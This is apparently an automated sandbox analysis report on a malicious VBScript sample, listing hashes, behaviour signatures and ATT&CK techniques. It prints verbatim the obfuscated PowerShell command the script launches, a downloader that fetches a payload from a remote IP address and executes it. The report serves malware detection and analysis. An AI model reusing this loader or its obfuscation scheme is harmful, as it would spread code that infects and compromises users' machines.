050c70c13b2fbffe4c003fadaa6561dcd3d2d78352e14b7f8498653d32631201

General

Target
050c70c13b2fbffe4c003fadaa6561dcd3d2d78352e14b7f8498653d32631201.vbs
Size 28KB
Sample240704-bdv7lawarn
SHA256 050c70c13b2fbffe4c003fadaa6561dcd3d2d78352e14b7f8498653d32631201
MD5 53ec3a14026a511dd3d51472c739c723
SHA1 37712df91409e87b9f3a979d7c521866589e3aa4
SHA512 cbad6b319e3188133fb0051b6d0c5f59588d0fda6a57727c4beedd07a3d2ab7508a53c00060bd2adf4cc234c66f59a5e51f73b94c796100e151c718bf64d401c
SSDEEP 384:RIQJTtvCWhDUaxAdKU7X3KIF14eMUDfPMc/0:RJta8UrIU7txMwn0
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
11	372	powershell.exe
17	372	powershell.exe
19	372	powershell.exe
20	372	powershell.exe
21	372	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
372	powershell.exe
372	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	372	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4564 wrote to memory of 372	4564	WScript.exe	81
PID 4564 wrote to memory of 372	4564	WScript.exe	81
PID 372 wrote to memory of 32	372	powershell.exe	83
PID 372 wrote to memory of 32	372	powershell.exe	83

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\050c70c13b2fbffe4c003fadaa6561dcd3d2d78352e14b7f8498653d32631201.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Ungeodetical Glutinous Desmerdyret Luminescent Regnefunktion Rekreation Yancy131 Poker Mellemstades Overfladebehandlet Coendures Dannelsestrinets Vandalsk Schistocyte Mockups Subhypotheses Dommerklub Underfeeling206 Sporendes Opsnuste Viktualiernes Lefleriernes Reorganisation Dribler Ungeodetical Glutinous Desmerdyret Luminescent Regnefunktion Rekreation Yancy131 Poker Mellemstades Overfladebehandlet Coendures Dannelsestrinets Vandalsk Schistocyte Mockups Subhypotheses Dommerklub Underfeeling206 Sporendes Opsnuste Viktualiernes Lefleriernes Reorganisation Dribler';If (${host}.CurrentCulture) {$Ubeskadigedes++;}Function Reposernes($Maddikerne){$Slskindspelsen=$Maddikerne.Length-$Ubeskadigedes;$Smrskeen='SUBsTRI';$Smrskeen+='ng';For( $Stead=7;$Stead -lt $Slskindspelsen;$Stead+=8){$Ungeodetical+=$Maddikerne.$Smrskeen.Invoke( $Stead, $Ubeskadigedes);}$Ungeodetical;}function afterplanting($Koreografisk){ & ($Bouchette) ($Koreografisk);}$Tunges=Reposernes 'MonopodM LuxekeoTavltrezAfbjniniSylnafslbrudstylBeyerita Pant s/B.strid5Benedic. Bilpar0 pnxttr fosfat( Cadm,eWAmphicaiEg sbesn PseudodTilkbetoEntrrmswImitatisAn efal Fami ieNKudzuvaTskulpen Impa.si1Vital s0Unspa,m. Sid mr0Typegod; bekran AdvokatWPa,aeoriNeddmpenFigurmr6Thacko,4.oncomm; Udslus Skummetx Fredel6Rumsnak4kvantit;Rodkni. forfoerrPrakritvAgnelli: Hallic1Daarlig2 semivu1Microfe.Sydp.ap0 Fanged)Faconst An,stheGMisc.geeHje,stec Disk.sk d monto,prenes/.emodif2Parsoni0Nonintu1Shippin0Ndendes0Unat os1Bo.ilik0Clangor1Backwoo Hydrot FAsuriunibussingrVaremrkeKerato f Konfroo Kam cixProt,zo/Tox.col1 Teuton2Calkins1Bistand.Sprr,re0 M lieu ';$Vouli=Reposernes 'Hyena cUTrylleksOfrerdieJenssudrLynetts- DuilinAKlystrogPl,bejee AnskafnVectoritrgelses ';$Regnefunktion=Reposernes 'FastlgahSt,nkult sho.tetpequotapVandfog:Haarsks/Pi sstr/ Heliog1entren 0 Sterss3Holopho. Nonan 2 Br.epe3Retrore7Loge tr.di.ital8Frstefd6Flatten.Gif erm2Stikkel4wasesuk7Pablosi/No,dsjlNInt.rvaoBackbean.rkagerpStandpuu l gemsrKendetecHydro.yhDuftryuaFrysmycs oldstee Fluesmrob igor.Tamir.up ArbejdsVrag.esmSt.udse ';$Broncs=Reposernes 'Bladsys>He lbox ';$Bouchette=Reposernes ' ediatoiUnpe ageAssociex Spaghe ';$Spaantkkeedes='Poker';$Katodestraalens = Reposernes 'UnlatcheCoordi cChartekh Brdknio Consum Paraglo% DigtniaRetve,spMo snvnpFormskad nonguiaIndkoert Paastta Softly%Rbdiges\Br.deriSbriga.tnSpndstirNedbriniMr ningn A.alytgBronkoseLandbruntou,hlr.ChikanrMSlgt.ssiHydrophnSp.igso cobia.e&Funkssa& Lavtln AntinoeSvederec HelledhBombemao Taftfo LinieaftHjestln ';afterplanting (Reposernes ' Fringe$m.sikingSkraasklHumstruoTelefonbOpofretastderielA sortm:Evaporeb OrbitslAlabastoMarg.ridBacterilNaziofrsBr.tscheEuchlaesGhe.toe=Hae.dco(TelemescForbundmbreds.ydho,sgow kb ngsb/Kat,gorcUforsta Ceari b$SyntaksKAnslog,adansktot S,lvpeononsubsd Skakspe Ovovivs M.llintHomogenr AlderbaUngymnaaforaminlVanvi,te Pr.tein KrigsmsArmatur)Kretjer ');afterplanting (Reposernes 'Tttepy,$hypsoisg,ppoggil .nsileo Al.ugobExtenuaaBes.iealSupraco: Byre.sLBeckhamuPrio.itm Produkidysf.nknPoly eiePneumats misempcGtehusteAdkomstnMunchystPreconv=Adspred$ ThwartRNarkoene,inedrog gru.dsnBubbline Pu,kmif ingateuMarkazenChromenkUngymnatFigureriMiscontoSlvmedanJokumc,.Eta.ebysUnderstpUn,atallRak,erni Ergo.ittra.sce(Mispr.p$Vre.enmB U.gkvgrPyophyloMeritornFornic,cFlamencsRecoups)fangetr ');afterplanting (Reposernes ' Frafal[ElementNPrmierseEftermitU.derve.LeredeuSIndlggeeCiv lisr Subelovp oduktiUde lancUdla.dseFoeleunPIsoc,phoUn,wampiOverta,nMuskulrtMesamebM GrizzlaIkldni,n Bes.seaAbeyprcgGramseneOrdentlrLs prve]Habilit: Medi.e: VerdenSTheatereMicrotucDyreparuRendyrkrNonacquiExemptitAnnihilyaande.iPUncout,r eatersoChelicetfagstudoLucidaecAutopato echainlPreconf Forpagt=Skaberg Refer.e[ Hatte.NEksamineAfpudsnt Dought.AfspndtSUndispueBritan,cdatoersuSpiro,hrLycopeniRaagu mt amdaniyVandflaPspencerr Se,iteoRadiomotNagsmanoKeruingcEgroma.o HelaarlTrimmetTForkvakyAaretagpWarrioreDeli,ue]Irriter:Stoneya:UnderexTTourtprlEnhed.ls Geotek1 Fyr et2Daahind ');$Regnefunktion=$Luminescent[0];$Pours= (Reposernes 'Firkant$ParametgForarmelUns,undo UntowabPoliclia SjettelAfslapn:Iben,olKVurderioFactorinCif.ertdE.iplasikonomfot Car ino Guara,rElektroeBrahmanrDisfigu=Tect.maNAer baceDrnnertw Teod.r- ExtrovOEvane cb UnemotjInterimeAmpelotc Benah.tFiredam StabsoSSixpencySt andhsZairerstAl,oholeDepudormOpsk uk.ExpecteNReclai eSinuatotKoryc.r. UnioniWpetrolee BarnetbUdvikliC BlvretlBun,riniH phenie SkriftnE pyromt');$Pours+=$blodlses[1];afterplanting ($Pours);afterplanting (Reposernes 'Proximo$TitreriKAccedesoSidesponAcetoxydEt tistiMatralitWurstato.oraarsr BeblubeArbejdsrGeospiz. CheilaHFoxieste Icosita RabbitdNihilise Adst,irfattelisFotogra[brdmask$S.perfiV MaaltaoTvivleduStewardl SolbrriB lance]Casteis=Nseb,rn$ PaalggT FljlsjuMaalsconPhilicrgslingr.eGastrinsTramway ');$Alkalierne=Reposernes 'Udr jse$EuromdeKE.destaoN encepnEl sticdVitelliiP lsaartSuppresoEtherearFol.epaeTelefonrMultifo.AlvorssDSu.typeoAndenklwbe.ollfnSlvsmedlTeltvo.opolym,taR.ndestdGrouchiFHa.artiiM lingel LayetteBoltrwo(Scrimpi$ YallafRO ermane Pos,tigM,noconnSprogbaeBassettfBreadeduVerduren vidtnikLimitart.atrikeiSalisbuo ReversnBookwar,Cesu.as$detai.lLM.usepreUnrecomfIagtagel paradieDematerrskulerriAlbaniie NortherMaskinhnBloms,eeTeletekslich.ni)Arairep ';$Lefleriernes=$blodlses[0];afterplanting (Reposernes ' Anvisu$ CosmocgGe,nemtlFulminio b.lturb VurderaChefredlBolignd: LugingBMonokroaBlidhedr tamilenaxleapia .xtingcKildeprlKamgrsuiPrivaten ImprisgRetract=Udtry s(Datoli,TBrugermeReklames Uncer tRelache-ErectlyPHandelsaSu ersttStillinh Riyalp Blden n$CampingLWencheseWolfr.mfDemytholAfslutneRerooferTilhngei Tow.ybeomskaberPhys ianProsodie Nedlaesatomis.)Beredsk ');while (!$Barnacling) {afterplanting (Reposernes 'Prodata$BarnumigSkuretvl.topienoGave.fgbBaandtlaPeachiflHumaniz:BrainsiDSalmadeiac phals ndextroVejtre m UkampdaRasteretEtterenoUnobeyeuSuggestsCommuna=Sensibi$ yricaltAabenh,rTredjeputatarbfeImpe,ti ') ;afterplanting $Alkalierne;afterplanting (Reposernes 'StartbaSHabituatFllesboainterdar E keltt Underv-M.gnidaSTautol,lKredslbeAdvisesePreneg pbrokfug Hyperc 4 Thwar. ');afterplanting (Reposernes ' Un imb$ JaggedgHabiltsl RhynchoCantat,bBefrdesa Bo.sjtlEksp ns: Se gneB Fastlga Diff,ar IrredunSpiesvuaCephalocRegerinlBeskr viDatasysnHomogengFantasi= Rensea(VotedfoTOvertide BiksecsDisap.stNatrone- periodP L ucosaFallo.stMathsath yalin Phy,opt$VermicuLCor,oboeRejfedef.ptrneblBygninge S,llibrStreptoi BilledeLippiesrSovevrenAnglicie CompossBeretti)Skydesp ') ;afterplanting (Reposernes ' Vulgar$UnderpugCothurnlStoppero Ap.licbKaptainaReceiptlSternox:FisketrDBi.grafeSpisegssUngnarrm VirtuoeH.vedderOprejsed Tech,ey Udbas rFon.logeTiltrkktHug ers=Dsnames$Ve ivengEtymo.olFust tcoMonocu.bC llocaaApologelHe,ipte:,ttribuGDaclarelSt.vyoruShoner.tEr.endeiSnigendnSmrrebrofar,zonu oejlensDiquats+tupelos+S.edker%Chaudro$FishhooLE,ernsruForsrgem Ch fkoiAnlgspan OdontoeAblegatsAfpr.sncudfrierejord.monWildasdtBli.dsm.Ante.uac for,evoRe.ibrau Fyrstin KauravtBior tm ') ;$Regnefunktion=$Luminescent[$Desmerdyret];}$Banquette=331989;$Jubilumsmiddages=31418;afterplanting (Reposernes 'skolema$RedeedggSusurrflDictatooAgisterb Ophjnia Am,hitlGruppeb:A mophiMMushrooe TerpsilAnbefallProppereOrle,nim.isnumbsattrupitEx.erptajensmindVoldtereVolt,irsmetrify Desmodo=clipsen CharbroGLexicogeGnomiskt Perian-TekstedC FrkapsoMon rchnVintlittUnsurpredegaussn microstSelvsta Ledemo.$UdluftnLRotterre Di,socfCon uerl.pronlieF.reuttrMusi,raiSearchieSurfridr PigebenBrkjernewhatliks.ureein ');afterplanting (Reposernes ' St.rhe$ Kurvang skillelObjectioP.eudorbsilunduaFourierlPr stly:CousineRGa.ecocuMenneskt DokumeeSlingudd UncertiWhiske.a Pilkeng irmastrMuttonhaFrikassmSalsdremStropsaeKasernerOmgangesManhatt Ove.ru=Rummleu Okkerge[Nec,oloSAng coayforeinssHydrargt kompleePuina imnerolsf.DolabraC .geparoKirkeminGingellvSeparateSe.viterDenyscutUdhungr] Finans:homoper:raskmelFBroommarTeorie,oSbeopermDynamomBS,atemaaBesnrensHagesmkeBallonf6Endocas4AfsbninS L ermat I,dkalrSemispeiComplemnCellekogFremtid(B,ykott$XanthenMDynamikeH,azysylT nkefulImpers.eSlangesmpolyphysGrdefrdttopcastaSymfonidS aperseElectr.sGr,ndva)Excises ');afterplanting (Reposernes 'Miss.it$UgestemgEsoc.dalMarciuso erklribUnderlgaSortimelSketche: DivisiDfnadderaOps aarnStavefen ulkintebssekollMonastis NephraeSkolingsPrecanctVeratrirSandstoi MultimnSab,atheParamettf,rsknis Todime Admixt.=Pro.olo Qu ltni[PortfolSF rbudeyStript,s Beh vit.nflicteSe.fishmEs enti. mozaraT toponyeAndenklxZ naidatEftervi.,rophotELangturnCumo sncHundredo PlainedO tologi Erythrn UltramgNyderes] Pacifi:Blo ser:StaggerAIm.erilS GymnotCPrognosIWarrantIKarikat.MisauthGUnartfueKer.evltNaphthoSMo,etketTabulatrB.nneleiR.osesmn Spon.agTrampol(Beskres$ repurcRClaustru omatitDisk.nteCharme.d OenantiSolutefaKr.mlolgCandylirDr.dersaDorcastmAmbassam HjorteeStatsaurEfterlnsCa.vini)folkeva ');afterplanting (Reposernes 'Monkeyh$Forhandg PhenomlUnvolatoTephillbTerraqua ConfeslMegatro:He inecIArbej,ssAabnin oGlitr nlSparadaa hndt ktUmennesi,vscalaoKonomiknBu,lneciGlycbipsAcceptemEponymie Retsren Meddel=Than.as$Viola eD AnthotaMar heln P rtren BanditeA tivibl CapitasDicetylegimpings StudentTehusetrTilgodeisno,korn TjenesehistoritPaakravsSt.nden.HostedesAmatrsku N,veaubSnudespsS.ccesot BindebrOssuaryiSlid ennHjrnesogBhutane( Rgerst$Str.ngeBXenarthaWordp,rn Esto,sqG.neraluNeutraleS,ulptrtProcommtExpedefesuperhi, .redba$MixupseJGazelleuLaryngibKoldefoiFejlmellGenstriuRestfulm ApoteksUdisc.pmFarveriiLuftartdGennemfdResta raSambaerg ArchfoeSideross repon)Straali ');afterplanting $Isolationismen;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:372
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snringen.Min && echo t"
    3⤵
    PID:32

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_pylzlsay.11h.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pylzlsay.11h.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Analysis

Sharing